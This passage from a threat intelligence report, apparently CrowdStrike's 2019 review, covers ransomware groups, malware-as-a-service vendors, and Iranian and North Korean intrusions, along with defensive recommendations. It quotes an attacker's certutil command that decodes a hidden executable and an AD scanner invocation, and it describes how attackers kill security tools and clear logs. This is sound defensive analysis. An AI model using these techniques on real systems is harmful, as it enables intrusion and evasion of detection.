- Manipulated accounts and user group settings
- Added new user accounts
- Manipulated file system permissions to hide newly added accounts
- Modified registry settings for remote access, disabling connection duration timeout limitations
- Hid newly added accounts from the initial logon screen view
- Created the directory `System64Q.dll` with additional tools `start.cmd`, `Loog.bat`, `rdpclip.exe` (renamed NSSM Service Manager) and `payload.exe` (Dharma)
- Executed the `start.cmd` script, which created a new service called `WindowsSystem` set to execute ransomware payload
- Executed the `Loog.bat` script, which cleared operating system event logs

Shortly after, the newly created service `WindowsSystem` attempted to execute the Dharma ransomware payload; however, the activity was blocked by Falcon. In response, the threat actor downloaded the Process Hacker tool and actively debugged further failed attempts to execute ransomware. After inspecting the operating system behavior, the threat actor elevated privileges to target installed security software and attempted to disable native operating system features.

Conclusions and Recommendations

The adversary was ultimately unsuccessful in its attack, thanks to the combination of Falcon telemetry and OverWatch threat hunting. Nevertheless, this intrusion emphasizes the need for successful prevention, rapid detection and timely response capabilities. OverWatch recommends that customers:

- Review current remote access points and ensure that logging is enabled and retained, and that access is monitored and restricted to necessary resources only.
- Implement multifactor authentication for all external remote access points, external applications and sensitive internal applications within the environment to mitigate the risk of unauthorized access via valid credentials/weak passwords.
- Perform regular scanning for and emergency patching of high-priority vulnerabilities.
- Define a set of emergency procedures that enables security teams to invoke operations such as host containment, firewall change requests or revocation of account privileges.
In September 2019, CrowdStrike Intelligence detected and analyzed a previously unidentified data exfiltration tool attributed to WIZARD SPIDER, dubbed Sidoh. The functionality of this malware includes the ability to search for keywords within files, including words related to sensitive information. The nature of these keywords suggests that the adversary could collect data in order to threaten the release of sensitive information if ransoms are not paid (i.e., data extortion) or to sell data to other adversaries (an additional method of monetization).

Although the exact use of Sidoh has not been determined, the list of strings the tool uses to select data for exfiltration includes words such as military, secret, clandestine and government, raising the question of whether WIZARD SPIDER is supporting government espionage. Interestingly, along with the DOJ indictment of INDRIK SPIDER, the U.S. Department of the Treasury’s Office of Foreign Assets Control (OFAC) announced sanctions, noting that Yakubets has maintained links to and worked for the Russian Federal Security Service (FSB) since 2017. This activity includes items such as “acquiring confidential documents through cyber-enabled means and conducting cyber-enabled operations on its behalf.” In 2018, Yakubets began a process to obtain a license to work on Russian classified information for the FSB, which provides further weight to historical evidence of Russia-based eCrime actors enabling state activities.

The increasing threat of data extortion as an alternative method of monetization was observed at the end of 2019, with operators of both REvil and Maze ransomware threatening to leak data, and in some cases following through, if ransoms were not paid. Given these observations, it is possible that data extortion will be used increasingly by these actors to apply additional pressure on victims who don’t pay and instead choose to restore their networks using backup copies of the data.
In addition to high-volume ransomware attacks, CrowdStrike Intelligence continued to track numerous eCrime threats, including banking trojans, spambots, Business Email Compromise (BEC) scams, targeted eCrime operations, carding shops and malware-as-a-service (MaaS) developers. This section covers notable trends in the cybercriminal ecosystem, including observed trends in TTPs and targeting.

The following figures provide a visual summary of the activity that CrowdStrike Intelligence reported on in 2019. Figures 6 and 7 provide a clear indication of the level of threat ransomware poses. Of all eCrime threats, ransomware represented 26% of what was reported in 2019. The number climbs to 37% of threats when ransomware reports are combined with reports of banking trojan malware operated by BGH adversaries (e.g., TrickBot).

Of note, one of the most reported ransomware threats was GandCrab, which is not listed as a top threat in Figure 6. This malware is now inactive and was replaced operationally by REvil. The combined number of GandCrab and REvil incidents led to PINCHY SPIDER being the second most reported eCrime adversary in 2019. After PINCHY SPIDER and operators of Dharma targeted ransomware operations, the BGH adversaries WIZARD SPIDER, INDRIK SPIDER and DOPPEL SPIDER together represent a third of reported eCrime, with WIZARD SPIDER alone making up a quarter of the total.
Figure 6. Reported eCrime by Threat Type in 2019

Figure 7. Reported eCrime by Adversary in 2019
TERMINATING SECURITY PRODUCTS

Across multiple ransomware cases, CrowdStrike observed perpetrators consistently attempting to terminate security software, such as endpoint protection products or security information and event management (SIEM) alert forwarders. Ransomware operators — including Dharma and Phobos affiliates — have primarily used two publicly available utilities for this purpose: PCHunter and ProcessHacker. Notably, one of the improvements to BitPaymer that DOPPEL SPIDER introduced was the bundling of ProcessHacker within DoppelPaymer to kill blacklisted processes. These powerful utilities allow actors to not only view and terminate processes, but also directly interface with the Windows kernel itself. Other free utilities for terminating security software include PowerTool x64, GMER, Total Uninstall Portable and Defender Control.

DNS TUNNELING

The use of the DNS protocol for command-and-control (C2) communications is a useful tactic in the event that other common internet protocols are disabled or closely inspected in a corporate environment. Although this is not a new technique, CrowdStrike Intelligence identified some significant examples of adversaries adopting this TTP. In September 2019, CARBON SPIDER began using a variant of its first-stage Harpy backdoor that is capable of using DNS as a backup channel for C2 if HTTP fails.

USE OF COMPROMISED SITES HOSTING WORDPRESS CMS

In Q3 2019, CrowdStrike Intelligence noted an overall increase in criminal actors using compromised websites hosting individual instances of the WordPress content management system (CMS). In many cases, these sites were used to deliver malware, including REvil, MUMMY SPIDER's Emotet, and QakBot. Sites compromised in this fashion have also been implicated in possible credential harvesting operations. On Sept. 25, 2019, CrowdStrike Intelligence identified several malicious phishing pages designed to impersonate a Microsoft Office 365 landing page. The majority of these pages were hosted on legitimate domains likely compromised through vulnerabilities in CMS plugins.
DROPPER DOCUMENT BUILDERS AND DISTRIBUTION SERVICES

In 2019, CrowdStrike Intelligence tracked the development of numerous dropper document families, given the names Gemini, Leo and Virgo. These were most notably used by COBALT SPIDER but were not exclusive to this adversary. COBALT SPIDER’s use of Leo documents featured theme and code overlap with a CARBON SPIDER Harpy campaign. Analysis from late 2019 revealed that Virgo documents were widespread and linked to the use of numerous information stealers, including FormBook, Pony and LokiBot.

From July to September 2019, CrowdStrike Intelligence noted an increase in the use of a document family called TandemDrop. These malicious, macro-enabled documents are capable of distributing multiple malware variants from a single document. Observed pairings delivered by TandemDrop documents include:

- Gozi ISFB and REvil
- TrickBot and Gozi ISFB
- Vidar Stealer and Gozi ISFB
- Predator the Thief Stealer and an unconfirmed payload

TandemDrop has also been used to deliver a single malware family. One such campaign distributed MUMMY SPIDER’s Emotet malware in September 2019.

EMAIL THREAD HIJACKING

In October 2019, CrowdStrike Intelligence identified multiple Emotet spam campaigns conducted by MUMMY SPIDER using a technique referred to as email thread hijacking. Email thread hijacking exploits email content previously collected by Emotet’s email harvester module. After a victim’s email content has been stolen, MUMMY SPIDER identifies email threads by the subject line (e.g., Re:) and formulates a reply to the thread. This tactic increases the likelihood that a recipient will open a malicious attachment (or click a link) because the sender appears to be someone that they previously communicated with, and the subject line matches a prior conversation thread that they had with that person. Given that BGH actors WIZARD SPIDER, INDIRIK SPIDER and DOPPEL SPIDER are all customers of MUMMY SPIDER, Emotet campaigns leading to the compromise of enterprise networks may support targeted ransomware operations.
ECRIME ENABLERS

CrowdStrike Intelligence tracks enablers as adversaries that specialize in the delivery or development of malware. Developers monetize their malware-as-a-service (MaaS) operations through the sale and/or rental of malware. Distributors fall into two categories: operators of spambots and operators of download services. Existing between these two categories are adversaries that develop criminal loaders. An example of this operational model is SMOKY SPIDER, which develops the criminal loader known as Smoke Bot, which is sold on underground forums and has been observed supporting the distribution of numerous malware families.

<table>
<thead>
<tr>
<th>Adversary</th>
<th>Operational Model</th>
<th>Last Active</th>
</tr>
</thead>
<tbody>
<tr>
<td>LUNAR SPIDER</td>
<td>Download-as-a-Service (DaaS)/Banking Trojan</td>
<td>Jan 2020</td>
</tr>
<tr>
<td>MONTY SPIDER</td>
<td>Spambot</td>
<td>Apr 2019 — Inactive</td>
</tr>
<tr>
<td>MUMMY SPIDER</td>
<td>DaaS</td>
<td>Jan 2020</td>
</tr>
<tr>
<td>NARWHAL SPIDER</td>
<td>Spambot</td>
<td>Dec 2019</td>
</tr>
<tr>
<td>NOCTURNAL SPIDER</td>
<td>MaaS</td>
<td>May 2019</td>
</tr>
<tr>
<td>SCULLY SPIDER</td>
<td>DaaS/Banking Trojan</td>
<td>Jan 2020</td>
</tr>
<tr>
<td>SMOKY SPIDER</td>
<td>DaaS</td>
<td>Jan 2020</td>
</tr>
<tr>
<td>VENOM SPIDER</td>
<td>MaaS</td>
<td>Dec 2019</td>
</tr>
</tbody>
</table>

Table 3. Adversaries Tracked as eCrime Enablers in 2019

DISTRIBUTION SERVICES SUPPORTING ESTABLISHED ECRIME ADVERSARIES

Download-as-a-service (DaaS) operations began a transformation in 2017 when MUMMY SPIDER shifted the operation of Emotet from a banking trojan to a distribution service. In 2019, further evidence of what has been observed since then suggests that LUNAR SPIDER (operator of BokBot) and SCULLY SPIDER (operator of DanaBot) are making similar moves away from banking trojan operations and toward download services supporting the distribution of third-party malware.

The success of these adversaries has not been matched by other actors. Spambots continued to decline in 2019, with MONTY SPIDER’s CraP2P spambot falling silent in April. NARWHAL SPIDER’s operation of Cutwail v2 was limited to country-specific spam campaigns, although late in 2019 there appeared to be an effort to expand by bringing in INDRIK SPIDER as a customer.
Figure 8.
Mapping of Observed Relationships Between eCrime Adversaries
VENOM SPIDER: A MAAS OPERATIONAL MODEL

VENOM SPIDER is the developer of a large toolset that includes SKID, VenomKit and Taurus Loader. Under the moniker “badbullzvenom,” the adversary has been an active member of Russian underground forums since at least 2012, specializing in the identification of vulnerabilities and the subsequent development of tools for exploitation, as well as for gaining and maintaining access to victim machines and carding services. Recent advertisements for the malware indicate that VENOM SPIDER limits the sale and use of its tools, selling modules only to trusted affiliates. This preference can be seen in the fact that adversaries observed using the tools include the targeted criminal adversary COBALT SPIDER and BGH adversaries WIZARD SPIDER and PINCHY SPIDER (see Figure 9).

<table>
<thead>
<tr>
<th>Tool</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Taurus Loader</td>
<td>Taurus Loader is a document builder that creates malicious VBA MS Word documents that download an additional JavaScript scriptlet containing a DLL file. VENOM SPIDER has developed several modules for Taurus Loader, these include a Stealer Module, a TeamViewer Module, a Reconnaissance Module and a Ransomware Module.</td>
</tr>
<tr>
<td>SKID</td>
<td>SKID is a JavaScript backdoor also known as More_Eggs. On July 10, 2019, VENOM SPIDER advertised SKID on underground forums for $3,500 USD and stated that the loader is used for targeted attacks only.</td>
</tr>
<tr>
<td>VenomKit</td>
<td>VenomKit is an exploit document builder that supports delivery of executable, DLL or PowerShell script payloads along with an additional MS Word file that acts as a decoy and includes text or images to enhance social engineering.</td>
</tr>
</tbody>
</table>

Table 4. Summary of VENOM SPIDER Tools

Recent advertisements for the malware indicate that VENOM SPIDER limits the sale and use of its tools, selling modules only to trusted affiliates.
Figure 9.
VENOM SPIDER Tools and Interactions with Known Criminal Actors
LOOKING FORWARD

Following a summer hiatus, MUMMY SPIDER Emotet campaigns exhibited an extremely broad geographic scope, suggesting the adversary continues to expand its operations. The use of email thread hijacking, an insidious tactic designed to exploit human interactions, is the latest improvement the actor has made to support its customers. CrowdStrike Intelligence expects the use of this tactic to continue into 2020 and anticipates MUMMY SPIDER will continue to make developments that ensure the scale of Emotet infections will attract criminal actors of every level of sophistication.

The effort by all of the distributors — even the flagging spambots — to enable BGH adversaries like WIZARD SPIDER speaks to the enormous ripple effect that targeted ransomware has made in the criminal ecosystem. Even MaaS vendors have found themselves assembling and offering ransomware modules to go with their suite of tools, in an effort to skim a profit from the desires of less sophisticated but eager actors. It remains to be seen if these endeavors will provide lasting security for these operations. The future — and the largest cut of profits — seems destined to belong to those actors that have been able to master multiple methods of monetizing their skills and tools.

Still, MaaS developers may prefer to stay out of the limelight, as suggested by VENOM SPIDER’s judicious cherry-picking of customers. Pleasing a few selected operators carries less risk than hands-on-keyboard activity within a victim’s network, as well as arguably aiding in protecting the developer’s operational security.

The future — and the largest cut of profits — seems destined to belong to those actors that have been able to master multiple methods of monetizing their skills and tools.
TARGETED ECRIME ACTIVITY

Historically, CrowdStrike Intelligence has tracked a subset of eCrime adversaries that are conducting wire fraud and/or compromising point-of-sale (PoS) systems at scale. In 2016 and 2017, their operations were notable because they targeted large enterprises using initial exploitation, lateral movement and exfiltration techniques commonly associated with nation-state actors. With the rise and dominance of BGH, which also relies on these methods, the relative uniqueness of targeted eCrime is no longer as apparent. In fact, the original BGH group BOSS SPIDER was tracked as a targeted eCrime adversary until 2018.

Despite the changing criminal landscape, targeted eCrime adversaries continue to evolve and expand their operations. They are distinguished from BGH adversaries by their methods of monetization, which generally do not include enterprise-wide ransomware infections. One noted exception to this is GRACEFUL SPIDER, which has used Clop ransomware against victims. CrowdStrike Intelligence continues to evaluate activity from this actor but tracks it as a targeted eCrime adversary at this time due to its PoS compromises. The other named adversaries that have been linked to PoS data compromises are CARBON SPIDER, TINY SPIDER and SKELETON SPIDER.

The adversaries that are specifically targeting financial institutions monetize the theft of large sums via wire fraud or ATM cash-outs. In 2019, CrowdStrike Intelligence observed an increase in such campaigns, with activity expanding beyond the U.S., Canada and Europe to affect South and Central America and Africa. Adversaries employing this operational model include COBALT SPIDER, ANTHROPOID SPIDER and WHISPER SPIDER.
# Active Adversaries

<table>
<thead>
<tr>
<th>Adversary</th>
<th>Ops Tempo</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>GRACEFUL SPIDER</td>
<td>High</td>
<td>In the second half of 2019, GRACEFUL SPIDER conducted broad spam campaigns on a weekly basis. These campaigns used malicious macro-enabled documents to drop GetAndGo Loader.</td>
</tr>
<tr>
<td>COBALT SPIDER</td>
<td>Medium-High</td>
<td>Through 2019, COBALT SPIDER used spear-phishing to deliver a diverse suite of droppers, all of which ultimately downloaded the group’s custom COBINT malware. COBALT SPIDER primarily targeted North American and European financial institutions but also likely expanded in scope to include Central and South American financials.</td>
</tr>
<tr>
<td>CARBON SPIDER</td>
<td>Medium</td>
<td>Through 2019, CARBON SPIDER primarily targeted the hospitality sector in pursuit of payment card data. The adversary continued to use Harpy as first-stage malware. In September, Harpy samples began using DNS tunneling as a backup C2 method.</td>
</tr>
<tr>
<td>SKELETON SPIDER</td>
<td>Low</td>
<td>In 2019, SKELETON SPIDER almost certainly used the FrameworkPoS malware in a campaign. The adversary likely began targeting card-not-present (CNP) data also, using formjacking, MaaS vendor VENOM SPIDER’s Taurus Loader Stealer and SKID malware in targeted operations.</td>
</tr>
<tr>
<td>WHISPER SPIDER</td>
<td>Low</td>
<td>Publicly known as “Silence Group,” WHISPER SPIDER conducted a handful of TrueBot spear-phishing campaigns in 2019. These operations primarily targeted Russian banks, although WHISPER SPIDER intrusions were also identified at banks in Sub-Saharan Africa and Central America.</td>
</tr>
<tr>
<td>ANTHROPOID SPIDER</td>
<td>Low</td>
<td>Publicly known as “EmpireMonkey,” ANTHROPOID SPIDER conducted phishing campaigns in February and March 2019, spoofing French, Norwegian and Belizean financial regulators and institutions. These campaigns used macro-enabled Microsoft documents to deliver the PowerShell Empire post-exploitation framework. ANTHROPOID SPIDER likely enabled a breach that allegedly involved fraudulent transfers over the SWIFT network.</td>
</tr>
<tr>
<td>TINY SPIDER</td>
<td>Low</td>
<td>In 2019, TINY SPIDER sporadically used LUNAR SPIDER’s BokBot to disseminate the loader TinyLoader, which is used to deploy the lightweight PoS malware TinyPoS.</td>
</tr>
</tbody>
</table>

Table 5. **Summary of Activity Attributed to Targeted eCrime Adversaries in 2019**
THE ANOMALY: GRACEFUL SPIDER’S HIGH-VOLUME OPERATIONS

Throughout the second half of 2019, GRACEFUL SPIDER disseminated GetAndGo Loader in broad spam campaigns, primarily by using pages that impersonate legitimate file-sharing sites to deceive users into downloading a malicious macro-enabled document. GetAndGo Loader has delivered FlawedAmmyy, the Foundation malware framework and, most recently, GRACEFUL SPIDER’s custom Remote Access Tool (RAT) SDBBot. SDBBot has three main parts: The installer deploys the other components and creates an auto-start execution point (ASEP) on the system; an intermediate component called RegCodeLoader is used by the ASEP to load the malware; and the last component is the malicious RAT payload.

GRACEFUL SPIDER conducts these campaigns at greater scale and frequency than other targeted eCrime actors. Rather than focusing specifically on a particular industry, the adversary has targeted organizations in almost every sector across the globe. CrowdStrike Intelligence observed efforts to more selectively target victims in October 2019, when the actor introduced victim IP address geolocation filtering. For example, certain malicious landing pages only delivered malware to South Koreabased IP addresses (on October 23 and 24, 2019). This tactic has the added benefit of interfering with automated security tools and sandboxes that do not have VPN exit points in a targeted country.

COBALT SPIDER’S VARIATIONS IN DELIVERY METHODS

In 2019, COBALT SPIDER remained focused almost exclusively on the financial sector. This group has used a diverse variety of dropper files to deliver the COBINT backdoor. These droppers have included: Gemini and Leo macro documents; Virgo exploit documents; Word documents containing OLE objects; Cancer JavaScripts; NSIS files; backdoored versions of legitimate web browser updates; and LNK files. In addition to regularly impersonating banks, COBALT SPIDER has repeatedly used social engineering lures related to SWIFT (Society for Worldwide Interbank Financial Telecommunication) and the European Central Bank (ECB). The adversary has also employed infrastructure impersonating the ECB.

It is probable that COBALT SPIDER is also expanding its targeting scope beyond European and North American financial institutions to include Central and South America.

CrowdStrike Intelligence observed efforts to more selectively target victims in October 2019, when GRACEFUL SPIDER introduced victim IP address geolocation filtering.
In 2020, targeted eCrime groups will almost certainly continue to directly conduct operations against financial institutions and other companies. CrowdStrike Intelligence assesses with moderate confidence that in 2020, targeted eCrime groups will likely increase campaigns against victims outside of Europe and the United States. COBALT SPIDER will likely continue to develop or obtain a diverse range of first-stage malware for use in COBINT campaigns.
CrowdStrike tracks numerous targeted intrusion adversaries based around the world. Activity in this section highlights significant events attributed to actor groups from China, Iran, Russia, DPRK, India, Pakistan and Vietnam. Targeted intrusion activity in 2019 featured high-volume operations from DPRK-associated adversaries, especially VELVET CHOLLIMA and LABYRINTH CHOLLIMA. Chinese adversary activity was particularly elevated against telecommunication entities. Multiple Russian adversaries, including PRIMITIVE BEAR and FANCY BEAR, were linked to the targeting of Ukraine. Amid a year of rising tension between Iran and the U.S., Iranian adversary activity included campaigns using job and recruitment themes spoofing a U.S.-based defense contractor, suggesting an increasing focus on government and defense sector targeting.

Reported targeted intrusion activity in 2019 was evenly distributed across incidents linked to Russian, Iranian and North Korean adversaries:

- BEAR - 22%
- KITTEN - 21%
- CHOLLIMA - 18%
- PANDA - 15%
- LEOPARD/TIGER (Indian subcontinent) - 14%

Figure 11 shows the relatively high operational pace of VELVET CHOLLIMA, LABYRINTH CHOLLIMA and PRIMITIVE BEAR.
As noted in the China section later in this report, activity with suspected ties to the People's Republic of China is much more prevalent than what could be attributed to individual named adversaries. Both attributed and suspected Chinese activity contributed to the telecommunications targeting noted in Figure 12.
Iranian state-nexus targeted intrusion activity in 2019 was broadly consistent in tempo and targeting, despite several key events that appeared to cause limited gaps in the operations of specific adversaries. These disruptions included a range of purported hacktivist leaks on the activity, tools and personnel of three separate state-nexus adversaries, as well as industry and government publications identifying that one of those adversaries previously had been compromised by a Russian state-nexus adversary. Following these disruptive incidents, tracked adversaries responded in a variety of ways, including adopting changes in TTPs, scaling back activity or continuing to operate with largely unchanged behavior. Notable changes in TTPs included an increased reliance on social media for reconnaissance and initial payload delivery, use of employment-themed lure content and a greater attention to operational security in the crafting of payloads and structure of malware C2 channels.

While activity earlier in the year focused on countries in the Middle East and North Africa (MENA) region, the latter half of 2019 saw a pronounced shift in targeting toward entities in the U.S., likely in response to an extended spike in tension between Iran and the U.S. over events in the Persian Gulf that began in May 2019. Other relevant incidents included a domestic internet shutdown in Iran beginning in November 2019 in response to a large-scale outbreak of protests across the country following a government decision to increase the price of fuel. This was accompanied by allegations of a widespread campaign by the regime targeting protesters, journalists and dissidents across social media and encrypted messaging platforms.

Industry reporting described Iran’s continuing deployment of destructive malware, namely wipers, against specific entities in the Middle East region. However, these activities appeared to be limited in scale compared to past Iran-nexus destructive operations utilizing the Shamoon wiper, and they could not be attributed to Iran with the same confidence or detail as past destructive activities.
### Active Adversaries

<table>
<thead>
<tr>
<th>Adversary</th>
<th>Ops Tempo</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>REFINED KITTEN</td>
<td>Medium-High</td>
<td>In June 2019, REFINED KITTEN conducted a brief but high-tempo campaign, likely in relation to ongoing tensions between Iran and the United States. Throughout the latter half of 2019, the adversary used spoofed job postings with defense contractor themes to deliver open-source post-exploitation tools.</td>
</tr>
<tr>
<td>IMPERIAL KITTEN</td>
<td>Medium</td>
<td>IMPERIAL KITTEN has maintained a consistent operational tempo since Q2 2019. Its operations primarily utilize recruitment- and job-themed infrastructure to deliver custom tooling.</td>
</tr>
<tr>
<td>CHARMING KITTEN</td>
<td>Medium-Low</td>
<td>CHARMING KITTEN has been linked to ongoing credential collection operations, featuring the use of spoofed login-related websites. Additional suspected malicious domains spoofed Iran-focused civil society groups, scientific research organizations and online educational platforms.</td>
</tr>
<tr>
<td>HELIX KITTEN</td>
<td>Medium-Low</td>
<td>Following a series of leaks, observed HELIX KITTEN activity dropped. The adversary resumed at least a portion of its operations in June 2019, although with changes in its operational behavior.</td>
</tr>
<tr>
<td>STATIC KITTEN</td>
<td>Medium-Low</td>
<td>Consistent with its past behavior, STATIC KITTEN was observed regularly modifying its operational behavior and tooling during Spring 2019. Despite being targeted in a limited leak of materials related to its operations, the adversary remained active at a lower operational tempo. It was also observed expanding its targeting to include the energy sector.</td>
</tr>
<tr>
<td>REMIX KITTEN</td>
<td>Low</td>
<td>Publicly reported as “Chafer” and “APT39,” REMIX KITTEN maintained an exceptionally low operational tempo throughout 2019, possibly as a result of being the target of an extended leak relating to its operations, capabilities and personnel.</td>
</tr>
</tbody>
</table>

Table 6. Summary of Activity Attributed to Iranian Adversaries
Overview

In Fall 2019, Falcon OverWatch observed a targeted intrusion in which the victim, who had initially deployed the CrowdStrike Falcon platform to a limited endpoint estate, was notified by the OverWatch team about a potential intrusion that predated the installation of the Falcon sensor. This activity included an unidentified actor remotely accessing the network with valid credentials, harvesting credentials, performing host and network reconnaissance and utilizing web shells to establish persistence. The deployed web shell was a variant identified in industry reporting as IntrudingDivisor. CrowdStrike Intelligence attributes this activity and IntrudingDivisor to the Iranian state-nexus adversary HELIX KITTEN with high confidence.

The adversary used a combination of built-in operating system utilities, publicly available software and custom-built tools to execute malicious activities on the network. Throughout the intrusion, the OverWatch team noted the extensive use of RDP, rundll32, certutil, a command-line tool used to display user and group information, and custom web shells used for reconnaissance, lateral movement and execution of tasks.

Initial Observations

Threat hunting initially uncovered malicious activity when hunters observed the adversary establish an RDP session and proceed to harvest credentials by dumping the memory of the LSASS process with built-in Task Manager. The actor also deployed a simple encoded command-line Active Directory (AD) scanner to display user and group information. The scanner’s file extension was saved as C:\Temp\[REDACTED]\1.txt and was decoded via certutil as follows prior to execution:

```
certutil.exe -decode 1.txt 1.exe
```

The AD scanner was then executed in the following format:
```
1.exe administrators \\[REDACTED IP ADDRESS]
```

Furthermore, OverWatch identified that the adversary used the combination of valid credentials and RDP to install the IntrudingDivisor web shell to three mail servers.
**Notable Adversary Behavior**

During the course of its operation, the adversary deployed a web shell with the filename `logoff.aspx` and subsequently logged into that web shell from an external address. Technical analysis of the web shell identified it as a variant of a tool previously identified in industry reporting as IntrudingDivisor. IntrudingDivisor is a multifunction web shell that relies on specific numeric inputs to execute arbitrary commands, write data to a specified file, alter access times of a specified file and read a specified file. The tool’s industry moniker is based on its use of a specific division-based system of numeric inputs for actor authentication and command execution.

**Conclusions and Recommendations**

The web shell identified during the intrusion largely conforms with the industry reporting, but it does exhibit some notable differences. For instance, the sample identified in this intrusion does not automatically log the time, the client IP address or the user agent string, as discussed in industry reports. Despite the difference in logging functionality, this sample uses some of the same code to perform the same functionality and employs the same hard-coded constants for authentication/command execution as other versions of IntrudingDivisor. Industry reporting describes IntrudingDivisor as often deployed in concert with the TwoFace web shell, which CrowdStrike Intelligence attributes to the Iranian state-nexus adversary HELIX KITTEN.

Mitigation steps to defend against threats from this intrusion include monitoring for unexpected processes interacting with LSASS. Given the fact that the adversary was using valid credentials over RDP, defenders should also continuously monitor for unusual account behavior. In regard to the web shell activity, employ process monitoring on web servers to identify suspicious actions or file access. Defenders should also review authentication logs and any unexpected traffic on the server.
LOOKING FORWARD

CrowdStrike Intelligence assesses with high confidence that Iranian adversaries will continue to use cyber espionage to support traditional intelligence collection from a variety of public and private entities, with a particular emphasis on the MENA region and North America. The primary focus of this activity is likely to be driven by both strategic and directed intelligence requirements related to furthering Iran’s geostrategic goals, counteracting the effects of economic sanctions and maintaining the stability of the regime. The latter requirements will almost certainly include continued targeting of figures critical of the regime, both within Iran and abroad, particularly dissidents and journalists, and may extend to disinformation campaigns utilizing social media, similar to activity against American audiences during 2019 that was reported to have an Iranian nexus.

Based on activity observed in 2019, Iranian cyber espionage appears to be increasingly tasked to support gaps in military-related intelligence requirements and achieve positional access to enable the compromise of third parties. With that in mind, defense, maritime, telecommunications and information technology organizations in the MENA region will likely be of particular interest to Iranian adversaries in 2020.

Domestically, recent protests across the country and the run-up to elections in February 2020 have exposed significant political fissures within the Iranian body politic. As a result, it is likely that the regime will attempt to strengthen its dominance over the information space available to its citizens, including through further development of its national intranet and more intense targeting of internal opposition figures, dissidents abroad and certain established political elements.
DPRK-based targeted intrusions represent some of the most active operations in 2019. Both VELVET CHOLLIMA and LABYRINTH CHOLLIMA sustained an elevated operational pace throughout the year. This tempo was not only represented by multiple observed campaigns but also by sustained development of tools and techniques. In the case of LABYRINTH CHOLLIMA, the adversary demonstrated the ability to compromise multiple platforms and operating systems, including Windows, Linux, macOS and Android.

Entities within the Republic of Korea (ROK, or South Korea) continued to be of strategic interest, particularly for RICOCHET CHOLLIMA, VELVET CHOLLIMA and LABYRINTH CHOLLIMA. However, VELVET CHOLLIMA also targeted the U.S. and Japan through intelligence-gathering operations focused on collecting information on nuclear and sanctions issues. Multiple incidents targeted India, with some activity further supporting the assessment that the DPRK is conducting economic espionage against key industries. Financial sector targeting is believed to be worldwide.

Not all Korea-based activity identified in 2019 could be affirmatively attributed to a named DPRK adversary. In July 2019, Falcon OverWatch identified a NOKKI malware sample, which precipitated detailed technical analysis of this malware. Despite previous links to the ROK-based SHADOW CRANE, this technical analysis led to the assessment that the malware was likely an adversary with a nexus to the DPRK regime, with at least some relationship to VELVET CHOLLIMA. A Chrome zero-day vulnerability (CVE-2019-13720) that was reported in November 2019 posed the same problem for attribution. TTPs associated with this activity were observed from both SHADOW CRANE and RICOCHET CHOLLIMA, and both of these adversaries are suspected of having a similar target scope that includes journalists and academics involved in Korean policy.
ACTIVE ADVERSARIES

<table>
<thead>
<tr>
<th>Adversary</th>
<th>Ops Tempo</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>VELVET CHOLLIMA</td>
<td>High</td>
<td>The fast-paced operations attributed to VELVET CHOLLIMA observed in late 2018 continued through 2019. Throughout the year, CrowdStrike Intelligence identified evidence suggesting that this adversary is engaging in currency-generation operations through its targeting of cryptocurrency users and/or exchanges.</td>
</tr>
<tr>
<td>Labyrinth CHOLLIMA</td>
<td>High</td>
<td>Labyrinth CHOLLIMA introduced a steady stream of new tools in 2019, suggesting that this adversary is in a constant state of development.</td>
</tr>
<tr>
<td>Ricochet CHOLLIMA</td>
<td>Medium</td>
<td>Ricochet CHOLLIMA targeted likely defectors from DPRK and/or organizations in the ROK associated with assisting defectors, although additional evidence has suggested its targeting can be much broader in scope.</td>
</tr>
<tr>
<td>Stardust CHOLLIMA</td>
<td>Medium</td>
<td>Stardust CHOLLIMA activity in April and May 2019 targeted financial institutions in a continuation of operations observed in 2018. This adversary is possibly supported by HUMINT operations, with reports of actors using social engineering techniques over the phone.</td>
</tr>
<tr>
<td>Silent CHOLLIMA</td>
<td>Low</td>
<td>Reporting of Silent CHOLLIMA's 2019 activity revealed a recent focus on targeting financial and energy sector entities in India.</td>
</tr>
</tbody>
</table>

Table 7.
Summary of Activity Attributed to North Korean Adversaries in 2019
SECTOR HIGHLIGHT:  
FINANCE AND CRYPTOCURRENCY

As in 2018, CrowdStrike Intelligence once again observed North Korean targeting of the finance and cryptocurrency sectors in 2019. The extent of this targeting includes activity from all named DPRK-affiliated adversaries — from STARDUST CHOLLIMA's breach of payment processors to smaller-scale cryptocurrency theft in VELVET CHOLLIMA's deployment of GoldStamp malware. LABYRINTH CHOLLIMA sustained routine operations against cryptocurrency exchanges, and recent reporting detailed SILENT CHOLLIMA's use of DTrack malware to compromise ATMs in India.

Prior to 2019, RICOCHET CHOLLIMA was not reported as conducting intrusions against this sector. However, in mid-May 2019, open sources reported that RICOCHET CHOLLIMA used a variant of Nimbus malware against suspected financial entities in Vietnam, Hong Kong, Russia, and DPRK in late 2018. While it is unclear if this operation represented an attempt at theft of funds, this activity, if accurate, would represent a significant expansion in the adversary's known target scope.

Taken together, these operations strongly suggest that all DPRK groups represent some level of threat to the financial sector. Not only are these adversaries engaging in small-scale currency generation activity, which likely funds their own operations, they are also possibly contributing to DPRK's ability to evade international sanctions and finance its foreign and domestic policy initiatives. In addition to supporting currency generation, LABYRINTH CHOLLIMA's targeting of cryptocurrency exchanges could support espionage-oriented efforts designed to collect information on users or cryptocurrency operations and systems. DPRK has been developing its own cryptocurrency to further circumvent sanctions. Similarly, RICOCHET CHOLLIMA's targeting of financial entities could also represent efforts designed to obtain information on the finances of a person or organization of interest to DPRK's intelligence services.
**VELVET CHOLLIMA INTRUSION**

**Overview**

The OverWatch team observed multiple spear-phishing attacks against targets to deploy the CHOLLIMA-associated malware known as BabyShark. According to CrowdStrike Intelligence, VELVET CHOLLIMA has been employing BabyShark since at least August 2018. Delivery is typically via phishing messages with Microsoft Office document attachments containing a macro to download a BabyShark HTML Application (HTA) file, though Windows executables have also been observed.

**Initial Observations**

In one such intrusion in early 2019, OverWatch identified requests to download a BabyShark HTA file from a compromised (otherwise legitimate) domain. The resulting file ultimately downloaded an encoded VBScript, which was used to attempt further tasking and downloading of additional tools from the compromised domain. The activity also included launching the TeamViewer Portable application. OverWatch's quick identification of the threat allowed defenders to take action before the adversary was able to perform interactive command execution.

